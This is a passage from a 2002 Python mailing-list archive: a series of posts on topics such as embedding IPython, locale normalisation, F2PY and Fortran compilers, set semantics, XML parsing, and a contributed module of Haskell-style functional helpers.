-0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: On 5/24/02 4:11 PM, in article mailman.1022272724.8315.python-list at python.org, "Niki Spahiev" wrote: > IIRC transputers had 4 ports and special chip which can be programmed to > produce > channel to any port of any transputer. So channels can't be shared. Sure, but that's not a syntactic or semantic requirement in CSP, which was what I was referring to. -- F From arnd.baecker at physik.uni-ulm.de Mon May 6 03:35:34 2002 From: arnd.baecker at physik.uni-ulm.de (arnd.baecker at physik.uni-ulm.de) Date: Mon, 6 May 2002 09:35:34 +0200 (MEST) Subject: Interactive interpreter in embedded Python In-Reply-To: Message-ID: Hi, I think you should have a look at IPython, http://www-hep.colorado.edu/~fperez/ipython/ With this you can do things like the following in your program #--------- call ipython to get an interactive prompt from IPython.Shell import IPythonShellEmbed ipshell=IPythonShellEmbed() a=10 ipshell() # open IPython (possible anywhere in the code) b=20 ipshell() # ... and as many times as you want ... #--------- at any place within your programm. You'll find several further examples and details in sec. 7 ("Embedding IPython in other programs") of the excellent documentation. Apart from this IPython is a really great python shell with _many_ enhancements over the normal python prompt. (in the longer run the idea is that it can be used within other programs like IDLE, etc...). Arnd On Sat, 4 May 2002, Bjarke Dahl Ebert wrote: > Hello, > > When you write a Python extension in C(++), it is very easy to play with it > from the shell. Just open an interactive interpreter and import the > extension module. > > But what if you have an application embedding a Python interpreter? Then it > would also be nice, at least during development, to be able to get a "Python > prompt" to play with functions exported from the application, etc. > > So, after calling Py_Initialize and initializing my Python extensions, what > is the easiest way to open a Python Shell in a window? > I'm programming in Win32. Either IDLE or PythonWin would be fine. > > If the C application is (natively) graphical, will I get problems with > IDLE/PythonWin interfering with the message handling loop of the > application? > > > Kind regards, > Bjarke > > > > > From shalehperry at attbi.com Sun May 12 13:47:26 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sun, 12 May 2002 10:47:26 -0700 (PDT) Subject: unknown locale de_DE@euro In-Reply-To: Message-ID: On 12-May-2002 Martin v. L?wis wrote: > "Sean 'Shaleh' Perry" writes: > >> Sorry, I misunderstood what the subject of your "why" was. > >> It still stands however that the locale.py needs updates to handle @ >> specified locales. Like them or not, they are here to stay. > > Well, I do like the @euro thing in locale names. I don't like > getdefaultlocale, so I'd rather convert people away from using it > instead of fixing it. > that is fair. However locale.normalize() is where the problem is actually occuring. It handles the foo.enc style but not foo at enc style. Or should normalize() be killed of as cruft too? Just curious as a boring English speaker. From leo at noordhuizen.net Sun May 12 08:02:43 2002 From: leo at noordhuizen.net (Leo Noordhuizen) Date: Sun, 12 May 2002 12:02:43 GMT Subject: Reading Dbase files Message-ID: I am trying to read .dbf files using the (old) dbf.py module (version 0.2 1999/11/12 written by Michal Spalinski. This seemed to work quite well, untill I found out that records which apparantly have been deleted are also read as 'normal'... In other words: not really useable or at least not compatible with this format of .dbf files. I am looking for advise how to proceed. I really need this functionality and should like to keep on using Python. Thanks, Leo From sandskyfly at hotmail.com Wed May 1 12:56:13 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 1 May 2002 09:56:13 -0700 Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: Message-ID: "Raymond Hettinger" wrote in message > ... we can publish a short, clean list of built-ins; create new > modules for functionals and iterttools; and go on merrily as if the language > had been truly cleaned.... I'm all for a 'functionals' module ... don't particularly think much about messing with any builtins prior to mystical python 3.0... in the meanwhile here's a partial (and perhaps buggy) translation of a bunch of haskell prelude functions to augment your current efforts in this field. (-: PS: I initially took up this exercise to test the utility of doctest (great stuff indeed!) regards, Sandy '''functionalism.py A useful set of functions for use in functional programming. Most are directly translated from haskells standard prelude library. ''' # sequence operations head = lambda seq: seq[:1] tail = lambda seq: seq[1:] init = lambda seq: seq[:-1] last = lambda seq: seq[-1:] # conditional as expression If = lambda condition, x, y: (condition and [x] or [y])[0] unless = lambda condition, x, y: (not condition and [x] or [y])[0] # misc functions def sequence(func_lst): '''sequentially executes a list of thunks (functions without args) return the results as a list >>> sequence([lambda:1, lambda:2]) [1, 2] ''' do_it = lambda f: f() return map(do_it, func_lst) def reverse(sequence): '''returns reverse of a given sequence >>> reverse('abcdef') 'fedcba' ''' lst = list(sequence) lst.reverse() if isinstance(sequence, str): return ''.join(lst) elif isinstance(sequence, list): return lst elif isinstance(sequence, tuple): return tuple(lst) def flip(func, *args): '''applies its arguments in reverse order to func >>> flip(lambda x,y,z: x*y+z, 1,2,3) 7 ''' args = list(args) args.reverse() return apply(func, args) def until(condition, function, x): '''returns the result of applying x to function until condition holds. >>> until(lambda x: x>3, lambda x: x+2, 0) 4 ''' while 1: x = function(x) if condition(x): break return x def take(n, sequence): '''applied to a sequence, returns the first n items of the sequence, >>> take(3, [1,2,3,4,5]) [1, 2, 3] ''' if not sequence or not n: return [] if n > 0: return sequence[:n] def drop(n, sequence): '''applied to a sequence, return the sequence minus the first n items >>> drop(2, "abcd") 'cd' ''' if not sequence or not n: return [] if n > 0: return sequence[n:] def takeWhile(predicate, list): '''returns longest list (possibly empty) of elements in 'list' satisfying 'predicate' >>> takeWhile(lambda x: x>3, [1,2,3,4,5,6]) [4, 5, 6] ''' result = [] for x in list: if predicate(x): result.append(x) return result def dropWhile(predicate, list): '''returns longest list (possibly empty) of elements in 'list' not satisfying 'predicate' >>> dropWhile(lambda x: x>3, [1,2,3,4,5,6]) [1, 2, 3] ''' result = [] for x in list: if predicate(x): continue else: result.append(x) return result def span(predicate, list): '''Equivalent to (takeWhile(predicate, list), dropWhile(predicate, list)) >>> span(lambda x: x>3, [1,2,3,4,5,6]) ([4, 5, 6], [1, 2, 3]) ''' return ( takeWhile(predicate, list), dropWhile(predicate, list) ) def any(predicate, list): '''Applied to a predicate and a list, any determines if any element of the list satisfies the predicate. >>> any(lambda x: x>2, [1,2,3,4]) 1 ''' for item in list: if predicate(item): return 1 return 0 def all(predicate, list): '''Applied to a predicate and a list, any determines if all elements of the list satisfy the predicate. >>> all(lambda x: x>2, [3,4,5,6]) 1 ''' for item in list: if not predicate(item): return 0 return 1 def sum(lst): '''compute the sum of a finite list of numbers. >>> sum([1,2,3,4,5,6]) 21 ''' return reduce(lambda x,y: x+y, lst) def product(lst): '''compute the product of a finite list of numbers. >>> product([1,2,3,4,5,6]) 720 ''' return reduce(lambda x,y: x*y, lst) def zipWith(func, *args): '''zips with the function given as the first argument. >>> zipWith(lambda x,y: x+y, [1,2], [3, 4]) [4, 6] ''' result = [] zipped = zip(*args) for arg in zipped: obj = apply(func, arg) result.append(obj) return result def unzip(items): '''returning list of tuples reversing zip operations >>> unzip(zip(range(10), range(10))) [(0, 1, 2, 3, 4, 5, 6, 7, 8, 9), (0, 1, 2, 3, 4, 5, 6, 7, 8, 9)] ''' return apply(zip, items) # string manipulation def lines(txt): '''splits string into list according to new lines >>> lines("hello my friend\\nThis is wierd.") ['hello my friend', 'This is wierd.'] ''' return txt.split('\n') def words(txt): '''splits string into list of words according to spaces >>> words("hello my friend, how are you?") ['hello', 'my', 'friend,', 'how', 'are', 'you?'] ''' return txt.split() def unlines(list): '''reverses lines ''' '\n'.join(list) def unwords(list): '''reverses words ''' ' '.join(list) ################################################### # see http://groups.google.com/groups?hl=en&safe=off&threadm=sXKY7.31790%24Zg2.3194928%40news11-gui.server.ntli.net&rnum=1&prev=/groups%3Fq%3Dfoldr%2Bgroup:comp.lang.python.*%26hl%3Den%26safe%3Doff%26selm%3DsXKY7.31790%2524Zg2.3194928%2540news11-gui.server.ntli.net%26rnum%3D1 # for fold* examples... ############################################### def _test(): import doctest, functionalism return doctest.testmod(functionalism) if __name__ == '__main__': _test() From pearu at cens.ioc.ee Sun May 5 13:49:07 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Sun, 5 May 2002 20:49:07 +0300 (EEST) Subject: F2PY problems In-Reply-To: <3CD52A18.DB86DAB0@kfunigraz.ac.at> Message-ID: On 5 May 2002, Siegfried Gonzi wrote: > Pearu Peterson wrote: > > > That said, I looked at the scipy CVS and found that mingw32-support > > needs lib2def but that is part of the weave package. So, as a quick fix, > > get lib2def.py file from the scipy/weave directory and put it into > > the f2py2e/scipy_distutils directory and reinstall f2py. This should solve > > your problem, I hope. > > So, this actually works but *only* then when you use something like: > > f2py -c foo.f -m foo Good. > Everything else (setup_foo.py, Makefile) is doomed to fail! Yes. That is the intention. Using Makefile stuff is depreciated and setup_foo.py stuff was never finished. All compiling/building of Fortran sources and Python extensions is managed by scipy_distutils. I have pretty much moved all the corresponding knowledge from F2PY to scipy_distutils by now. > The above leads to the next question: I have not really grasped whether > the foomodule.c file is important, because what the case if I want to > compile a Fortran 95 file? The foomodule.c is crucial because it implements the interface between Fortran and Python. > I tried it but I get the error message that gnu does not support F 90 > or F95. I saw in the "build_flib.py" file that the NAG compiler is > supported. I thought the NAG compiler is the Fortran 95 compiler from >From ftp://ftp.swcp.com/pub/walt/F/README: """ This new version is produced quite differently from the older versions: it is a modification to the NAG (Numerical Algorithms Group) compiler ... """ which I don't really understand because NAG compiler is kind a shareware compiler... But that is NAG problem, not mine, if a problem at all. > imagine1 (www.fortran.com/fortran/imagine1/compilers.html). But I > think I am in error, because the build_flib.py class doe not find my > installed F compiler (C:/.../F/bin/f.exe). > I would strongly emphasize my wish list that some expert makes also a :) The strength of your emphasize doesn't really matter. Both F2PY and SciPy are products of volunteers and one way to speed up getting support to your needs is to volunteer yourself for testing and submitting patches if necessary. build_flib.py contains many examples how to add support for new compilers. Just copy, say, the NAG compiler class and adjust it to your F compiler. In general, it is rather simple procedure if you know what Fortran compiler specific libraries are needed when building the extension module. If it works, you can send patches either to scipy-dev or f2py mailing lists. > support for the F compiler. The F compiler is free for Unix, Linux and > Windows (I think there is even an older F 90 compiler for the Macintosh > available). I am not aware of other ones but the F compiler is the only > free available Fortran 95 compiler. This is not completely true: 1) F is not really *a* Fortran 95 compiler because it can compile only a subset of Fortran 95 standard. See the restriction list in ftp://ftp.swcp.com/pub/walt/F/README that is much longer than the feature list ;) 2) There are number of other F90/95 compilers that you can try out for free and even to use for free under certain conditions: Absoft - has 14day trial version for Linux Intel - has 30day free evaluation both for Windoza and Linux, for Linux they also provide noncommercial unsupported compiler with unlimited free usage (under certain conditions, of cource) Compaq - has free Enthusiast and Education licence for non-commercial use under Linux Alpha NAG - has xx day trial versions, I think Portland - has 15day trial version for various platforms etc. In future, there will be also GNU g95 compiler available, maybe within a year or two. And since Windoza users have afforded to buy Windows, I am presume that they can afford also one of the compilers above -- they are not that expensive. Regards, Pearu From ods at fep.ru Thu May 16 11:44:18 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Thu, 16 May 2002 19:44:18 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: Message-ID: On Thu, 16 May 2002, Roman Suzi wrote: RS> >It's listed as deferred (and its not mentioned in Guido's RS> PEP RS> >parade). RS> >Maybe it needs a new champion? RS> RS> Hmmm... What do you mean? Set functionality is being asked RS> every day RS> (for example, sorted list vs. dictionary thread). RS> Implementation RS> (as I understand) is there. Why does Guido have any RS> objections? There are still unresolved issues. E.g. should set object be hashable? Somebody wish sets of sets or set as dict key that require set to be hashable. Solution in kjSet is certanly bad, look at the example below: # s is set and d is dictionary if d.has_key(s): # do smth. else: # modify s -- this will raise exception Here s _is not_ in dictionary but nevertheless is frozen. This will confuse users that know nothing about set _implementation_. Taking into account that very most users don't know about hashing at all, such implementation is suitable only for third party modules but not for Python builtin type. From gcordova at hebmex.com Mon May 6 11:00:07 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 6 May 2002 10:00:07 -0500 Subject: Python vs. Perl, which is better to learn? Message-ID: > Exactly. You can write bad code in any language. On the other hand, > you can write really good, robust, readable, maintainable > code in Perl. > > Programming is about 99% concepts and 1% syntax, if that much even. A > poorly written Python program that can be easily read is still poorly > written. Hmmm... that's a mean disservice to Perl. Or... "You can write really good, robusr, readable, maintainable code in assembler." -gustavo From dalke at dalkescientific.com Wed May 15 16:59:55 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 15 May 2002 14:59:55 -0600 Subject: getting name of the function you're in References: <3CE295FF.2020202@packeteer.com> <1021485284.24344.0@eos.uk.clara.net> Message-ID: Richard Townsend: > try: > raise ZeroDivisionError > except ZeroDivisionError: > # Get the traceback object > tb = sys.exc_info()[2] As mentioned in this newsgroup in other threads, I've learned a bunch of old habits which need to change because of newer tricks in Python. sys._getframe() Andrew dalke at dalkescientific.com From martin at v.loewis.de Mon May 6 02:44:29 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 08:44:29 +0200 Subject: Stripped down python In-Reply-To: <20020506011542.A3743@eecs.tufts.edu> References: <20020506011542.A3743@eecs.tufts.edu> Message-ID: Michael Gilfix writes: > That's a shame. I think it would have met my needs somewhat. Was the > patch mostly targeted at the build process or code hacks as well? AFAIR, it modified the interpreter source as well, to get stdio out of the interpreter. I think the interpreter they eventually got was 150k or some such. When you search the Web, you may find details. Regards, Martin From loewis at informatik.hu-berlin.de Sat May 11 03:27:01 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:27:01 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) writes: > >Instead, he proposed that non-ASCII identifiers are represented using > >UTF-8 encoded byte strings (instead of being represented as Unicode > >objects); in that case, and for those identifiers, len() would return > >the number of UTF-8 bytes. > > But would that be different from the number of characters? Yes. Watch this >>> x=u"\N{EURO SIGN}" >>> x u'\u20ac' This is a single character >>> len(x.encode('utf-8')) 3 In UTF-8, this character has 3 bytes. Note that the number of bytes in UTF-8 for a Unicode character varies between 1 and 4. > My confusion comes from his assertion that Python itself does not need to > care whether it's raw string or unicode. Is there any need for the > interpreter to split an identifier into sequence of characters? If the > answer is no, then I guess my question is moot. The interpreter never does that, but still, a single identifier would either be an ASCII byte string (the stress being on ASCII), or a Unicode object: >>> "x" == u"x" 1 >>> hash("x") -1819822983 >>> hash(u"x") -1819822983 Regards, Martin From mirandacascade at yahoo.com Fri May 3 19:26:59 2002 From: mirandacascade at yahoo.com (Miranda Evans) Date: 3 May 2002 16:26:59 -0700 Subject: waiting for event from COM object Message-ID: <59e5b87.0205031526.531dcb99@posting.google.com> Attempting to write Python script that: - is not a GUI application - communicates with a COM object The COM object provides: - a send method - a MessageReceived event The COM object does not provide any sort of mechanism (properties, methods or events) for handling a timeout. The script's responsibility is to send a message to the COM object and then wait until either: - COM object fires its MessageReceived event or - one minute has elapsed since message sent whichever comes first. If the MessageReceived event fired before the one minute elapsed, the script returns "message received" as soon as the event fires. If one minute passes without the MessageReceived event firing, the script returns "timeout". My guess as to some of the code: import win32com.client class exampleEvents: OnMessageReceived(self): # ?? stop the one minute clock and # ?? signal "message recieved" sampobj = win32com.client.DispatchWithEvents("mysample.application", exampleEvents) sampobj.send("sample transmission") # ?? insert code here that keeps the script running until # ?? either one minutes elapses or OnMessageReceived # ?? event fired My question: after the sampobj.send() method is called, how can the script be constructed to remain running for up to one minute or until the OnMessageReceived event fired? I looked at several samples of python code for timer events, but did not see how they could be fit into this application...is a timer event the way to go (reminder: this is not a GUI application)? From martin at v.loewis.de Tue May 28 02:07:29 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 28 May 2002 08:07:29 +0200 Subject: Python XML parsing example References: <3CF2CFA2.430245EC@engcorp.com> Message-ID: Peter Hansen writes: > Hmm... I was working on an example for you but PyXML 0.7.1 (and 0.7.0 > before it) seem to be broken and I can't import stylesheets at all! > (It's related to > http://sourceforge.net/tracker/index.php?func=detail&aid=421488&group_id=6473&atid=106473 > ) > > I believe my setup at work (probably using 0.6.x) will handle it, so > I'll have to wait until tomorrow (and so will you, if no one else replies :). PyXML 0.6.x has no XSLT support, so if you want working xml.xslt, you need to use PyXML+4Suite. Regards, Martin From aleax at aleax.it Fri May 10 04:18:36 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 08:18:36 GMT Subject: list, object and matching... References: <409a56e2.0205092345.82b891f@posting.google.com> Message-ID: Shagshag wrote: > Having a class with, for example, 3 private attributes a, b, c. > Having a python list (or maybe something which inherits from it) which > contains objects from this class. > > How can i do to have : > > - objecti == objectj only if attribute a and b are equal (c doesn't > need to be checked) > > - list.index(objectk) => searching for an object contained in list but > which match only attribute a and b Python 2.2.1 (#1, Apr 15 2002, 17:55:14) [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class shag: ... def __init__(self, a, b, c): ... self.a=a ... self.b=b ... self.c=c ... def __eq__(self, other): ... try: return self.a==other.a and self.b==other.b ... except AttributeError: return False ... >>> s1 = shag(1,2,3) >>> s2 = shag(1,2,4) >>> s1==s2 1 >>> s1==23 0 >>> alist = [1, 2, s1, 3, 4, s2, 5, 6] >>> alist.index(s2) 2 >>> Alex From fperez528 at yahoo.com Mon May 6 17:15:50 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 06 May 2002 15:15:50 -0600 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: Raymond Hettinger wrote: >> I am trying to get the math module to deal with degrees rather than >> radians. (that it deals with radians for the angular functions like >> sin() isn't mentioned in the docs, which was sort of an eyeopener :) I >> can't find any info on doing this. I can convert from-to degrees in the >> code calling the function, but that's a bit clunky. Any pointers to an >> FM to R? :) > > There is a patch for adding degree/radian conversions. > See http://www/python.org/sf/552452 Sorry to sound critical, but I doubt this will make it in (and I hope it doesn't). Reason: bloat. Yes, it's only two functions, but still, bloat is bloat. Plus, if you really need those conversions, it's less typing and more efficient (no function call) to simply use a multiplicative constant: In [7]: to_rad = pi/180 In [8]: to_deg = 1/to_rad In [9]: sin pi/4 ------> sin (pi/4) Out[9]: 0.70710678118654746 In [10]: sin 45*to_rad -------> sin (45*to_rad) Out[10]: 0.70710678118654746 In [11]: (pi/4)*to_deg Out[11]: 45.0 I realize you have good intentions, but I truly don't think that in this case the benefits outweigh the cost. OTOH, one could add a comment in the docstrings to the effect of 'trig functions expect arguments in radians', since it does seem to cause confusion among newbies. Cheers, f. From gerhard at bigfoot.de Tue May 21 14:17:42 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Tue, 21 May 2002 20:17:42 +0200 Subject: Making a standalone script In-Reply-To: References: Message-ID: <20020521181742.GB1379@lilith.my-fqdn.de> * newgene [2002-05-21 10:55 -0700]: > Hi, group, > Does anyone know a tool can make a standalone python script, > which is independent on any modules used in my original code, except > python build-in modules? The reason I ask is I want to put a python > cgi on a server. I used some third-party modules in this code, but I > don't have the right to install those package onto our server. Just move them directly into the cgi-bin directory or install them elsewhere you have access to and append the directory to sys.path. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From sjmachin at lexicon.net Sat May 18 20:17:12 2002 From: sjmachin at lexicon.net (John Machin) Date: 18 May 2002 17:17:12 -0700 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: "RoadRunner eNews" wrote in message news:... > I've successfully built Python 2.1 with VC7, but I'm having a problem using > the resulting binaries, namely _sre.pyd (and _d.pyd). Specifically, when I > attempt to 'import re', the result is a Traceback stating 'ImportError: > dynamic module does not define init function (init_sre)'. Everything works > fine under VC6, and ...\modules\_sre.c definitely contains init_sre(), so it > has to be something VC7 related. > I'm not an MS VCn guru for any value of n. However, based on some trips through "DLL hell" with other compilers, here are some ideas that may help: (1) Use the Dependency Walker or some other tool to examine the _sre.pyd itself to see that the entry point init_sre is actually there (and not _init_sre or something else), rather than relying on its presence in the source. Then you will know whether the problem is in the importer or the importee. (2) If you haven't done so already, you should use the -v option when running Python, to display the names of the actual full paths for files that it is opening. However I can't recall whether you will get the path printed before the ImportError. HTH, John From iwk_removethis at xs4all_removethisalso.nl Sun May 12 12:51:07 2002 From: iwk_removethis at xs4all_removethisalso.nl (iwk) Date: Sun, 12 May 2002 18:51:07 +0200 Subject: High performance Python web-app Message-ID: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Hi there, We've been using a custom developed html/python templating system which runs under CGI. It was ported to mod_python one year and a half ago, but as the system was only used for small-scale sites, in the end that was never taken into production. Now however, a customer wants to deploy the system on Apache 2 running on Win32 and the site is expected to attract a rather large number of visistors on occasion. Considering the abysmal performance of CGI apps on Windows, this poses a considerable problem. My question is: are there any *stable* solutions available to enable fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on Apache 1.3 as far as I know and Mod_snake seems to have been taken off line....) Regards, Iwan From jepler at unpythonic.net Wed May 29 09:56:25 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 29 May 2002 08:56:25 -0500 Subject: New (?) suggestion re: 'while x = f(): ...' In-Reply-To: References: Message-ID: <20020529085620.Y17765@unpythonic.net> On Wed, May 29, 2002 at 09:10:59AM +0000, Duncan Booth wrote: > Jeff Epler wrote in > news:mailman.1022619227.16027.python-list at python.org: > > > and instead of > > while 1: > > x = f() > > if not x: break > > ... > > you can write > > for x in H(f): > > ... > > > > Given suitable names for G() and H() (and I haven't thought of any yet) > > does anybody favor this over the "pythonic" syntax? Personally, I think > > I'll stick to doing it in the old-fashioned way, but I wanted to share > > my idea with the world... > > 'H' is spelled 'iter' and already exists. Not quite -- H will stop on "any false value", while iter(f, "") will stop on a single value. Now, if iter would take a function as a second argument... def myiter(f, g): if callable(g): while 1: v = f() if g(v): break yield v else: while 1: v = f() if v==g: break yield v then myiter(f, lambda x: not x) would be the equivalen of H(f). Jeff From trentm at ActiveState.com Tue May 21 13:32:20 2002 From: trentm at ActiveState.com (Trent Mick) Date: Tue, 21 May 2002 10:32:20 -0700 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) In-Reply-To: ; from whisper@oz.net on Tue, May 21, 2002 at 12:58:13AM -0700 References: Message-ID: <20020521103220.D27244@ActiveState.com> [David LeBlanc wrote] > The difference between AS Python and Python.org Python are: > > * AS Python includes PythonWin. PythonWin is available separately for > python.org Python. > * AS includes a Windows Scripting Host interface that is not otherwise > available anywhere AFAIK. > * AS distribution can't be redistributed under the terms of it's license > without permission. > > So, if you want to do Python scripts/macros in Excel or Word (or IE?), > you'll need to get AS Python. If that's not so important to you, then it's > either or... If you want to bundle a Python distro with an app and > redistribute it, python.org Python is the only choice compared to AS Python > (there are, or where, other distros of Python - see www.pythonware.com for > one). My choice has to been to lean towards what I see as the more open > solution of python.org Python and the separate PythonWin distribution. This is not accurate. ActivePython does not have any special WSH interface that is not available otherwise. Here is a description of what you get with ActivePython: http://www.activestate.com/Products/ActivePython/more_information.plex The differences with the PythonLabs distribution are basically: - On Windows, Mark Hammond's PyWin32 distribution is installed by default. This package includes PythonWin (a Python IDE), and interfaces to the Win32 API and Windows COM. - more bundled documentation - On Windows, documentation comes in compiled help format, .chm. (Although I think very recent PythonLabs' installers do too?) - A fancy MSI installer on Windows - PyPPM. This is a command line tool that makes it easy to installer certain popular third-party Python modules, like PIL, Numeric, PyChecker, PyXML, etc. Cheers, Trent -- Trent Mick TrentM at ActiveState.com From tim.hicks at iname.com Fri May 3 05:59:31 2002 From: tim.hicks at iname.com (Tim Hicks) Date: Fri, 03 May 2002 09:59:31 GMT Subject: HTML filtering References: <01Xz8.21629$YQ1.8012127@typhoon.southeast.rr.com> Message-ID: <7ctA8.19538$iE7.140149812@news-text.cableinet.net> "Stuart D. Gathman" wrote in message news:01Xz8.21629$YQ1.8012127 at typhoon.southeast.rr.com... > I need to filter HTML to remove certain constructs (e.g. ). I am trying to use the batteries. The htmllib module helps > with the parsing, but it seems like a lot of work to create a formatter > that passes everything (except script) through in HTML syntax - espicially > trying to preserve original syntax. Am I missing something? Is there > another module I should be using for filtering HTML? Perhaps one of > those ad stripping filters written in python would provide a usable > example? I think http://www.zope.org/Members/chrisw/StripOGram/ probably does what you want. tim From whisper at oz.net Fri May 17 22:38:39 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 19:38:39 -0700 Subject: Zaurus and Python, a good combination In-Reply-To: <834rh7xmp5.fsf@panacea.canonical.org> Message-ID: ppc = Pocket PC Speaking of power, I saw some mention that the new x-scale arm processors use less power at 2x the speed of the current arm processor. Damn - more battery life! :-) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Kragen Sitaker > Sent: Friday, May 17, 2002 0:23 > To: python-list at python.org > Subject: Re: Zaurus and Python, a good combination > > > "David LeBlanc" writes: > > Hmmm.. good to know about the stowaway - i've been considering > picking one > > up, especially now that there's an iPaq 3800 version. > > > > Have you considered tkinter on iPaq? After all, tcl, and more > importantly, > > tk have been ported to ppc. > > > > I really have to get across town and pick up my ppc dev tools > > The iPaq and Zaurus use ARM, not PPC. I don't think there's a PPC > that stingy with power. > > -- > http://mail.python.org/mailman/listinfo/python-list From stuart at bmsi.com Tue May 7 14:13:32 2002 From: stuart at bmsi.com (Stuart D. Gathman) Date: Tue, 07 May 2002 14:13:32 -0400 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> Message-ID: On Tue, 07 May 2002 03:09:44 -0400, Fredrik Lundh wrote: >> Not sure what "the whole thing" is, but Fredrik Lundh has rewritten >> sgmllib as a C module, named sgmlop. This is now included regularly in >> PyXML, as xml.parsers.sgmlop. It has two modes of operation: SGML and >> XML, and it is really fast. > > also available as a separate distribution, from here: > > http://effbot.org/downloads/ > > I added the sgmllib.py and xmllib.py modules to setup.py, but distutils puts them in site-packages by default - where they fail to override the standard versions. What is the recommended way to make distutils override a standard python package with a drop-in replacement such this? Here is the setup.py from the sgmlop package above: from distutils.core import setup, Extension setup( name="sgmlop", version="1.1a2", author="Fredrik Lundh", author_email="fredrik at pythonware.com", description="SGMLOP -- a small and fast SGML/XML parser", url="http://www.pythonware.com/products/xmltoolkit/", py_modules=["sgmllib","xmllib"], ext_modules = [ Extension("sgmlop", ["sgmlop.c"]) ] ) -- Stuart D. Gathman Business Management Systems Inc. Phone: 703 591-0911 Fax: 703 591-6154 "Confutatis maledictis, flamis acribus addictis" - Mozart background song for the Microsoft "Where do you want to go from here?" commercial. From aleax at aleax.it Wed May 8 06:54:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 10:54:48 GMT Subject: Exception handling References: Message-ID: J?rvinen Petri wrote: > Hello > > Is it possible to use dynamic binding in exception handling like in C++. > > I mean can I catch baseclass exception in my exception handler and get all > the derived classes catched aswell, like > > Class A: > > Class B(A): > > Class C(A): > > try: > ... > except A: > (this would catch also B and C) Yes, this IS how exception handling is defined to work in Python. Alex From marklists at mceahern.com Sat May 25 19:32:00 2002 From: marklists at mceahern.com (Mark McEahern) Date: Sat, 25 May 2002 18:32:00 -0500 Subject: How should I dynamically generate html tables? In-Reply-To: Message-ID: Re: subject This essay, written almost 3 years ago by Guido, was very helpful for me: http://www.python.org/doc/essays/ppt/sd99east/ In particular, check out the faq wizard case study: http://www.python.org/doc/essays/ppt/sd99east/sld063.htm Cheers, // mark - From gcordova at hebmex.com Mon May 27 10:37:44 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 27 May 2002 09:37:44 -0500 Subject: Grabbing data from my motherboard thermistor? Message-ID: > > >You can probably find the port address(es) either in the mobo documentation > >or via something in Window's "settings" dialog. > > The MB manual reports this as I/O address 294H to 297H :) > > --g > One thing's for sure: you can't access that from pure python, unless the info is presented as userland accesible info by either a driver, or by using a C module. In C it'd be trivial, simply create a 32bit integer (4 bytes) by succesively reading each port address and lshifting 8 bits; another would be to create an array of 4 bytes, and pass that as a pythin tuple, which can then be used as you wish. Good luck :-) -gus From erno-news at erno.iki.fi Thu May 9 13:23:32 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 09 May 2002 20:23:32 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , pinard at iro.umontreal.ca (Fran?ois Pinard) writes: | If many people had experienced the pleasure of naming variables properly | for their national language while programming, I guess most of them would be | rather enthusiastic proponents on having this capability with Python, today. | As very few people experienced it, they can only imagine, without really | knowing, all the comfort that results. maybe people are just using it and they don't know that it's not supposed to work. Python 2.1.3 (#1, Apr 20 2002, 10:14:34) [GCC 2.95.4 20011002 (Debian prerelease)] on linux2 Type "copyright", "credits" or "license" for more information. >>> p?? = 4 >>> print p?? 4 -- erno From siegfried.gonzi at kfunigraz.ac.at Tue May 14 09:39:20 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 15:39:20 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Message-ID: <3CE11388.697C9AE2@kfunigraz.ac.at> Terry Reedy wrote: > A program that used more than 80% of RAM very well can be a problem > for Windows. Add another 256K ($40-$50) if your laptop will accept > it. This might also reduce execution time. I would not be surprised > if stuff is being swapped to disk. The program does not use really 200MB I would say. As I wrote: I call 8 times a specific function. The specific function itself consumes about 20MB RAM and delivers a floating point array of dimension 71x12 back. I weight the 8 arrays and pass one result array to a function in order to write the result array to a file. But I do not get it why Python does not delete the 20MB and leaves only the 71x12 array sound when it comes back from the function. That was the reason why I asked: does Python collect garbage and get rid of it at the end of the calculation 